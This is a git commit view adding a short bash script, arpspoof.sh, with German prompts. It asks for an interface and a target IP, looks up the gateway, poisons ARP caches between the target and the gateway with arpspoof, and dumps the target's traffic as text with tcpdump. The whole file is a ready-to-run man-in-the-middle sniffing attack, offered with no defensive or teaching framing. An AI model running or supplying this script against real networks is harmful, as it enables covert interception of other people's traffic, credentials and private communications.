arpspoof
This commit is contained in:
parent
d82f90cef7
commit
c185843674
1 changed files with 12 additions and 0 deletions
12
arpspoof.sh
Executable file
12
arpspoof.sh
Executable file
|
@ -0,0 +1,12 @@
|
|||
#!/bin/bash
|
||||
|
||||
set -ex
|
||||
|
||||
read -p "Wie heisst die Schnittstelle? [enp30s0\eth0] : " modul
|
||||
read -p "Wie heisst die IP? : " ip
|
||||
|
||||
gateway=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
|
||||
|
||||
arpspoof -i $modul -t $ip -r $gateway &
|
||||
|
||||
tcpdump -i $modul -A host $ip
|
Loading…
Reference in a new issue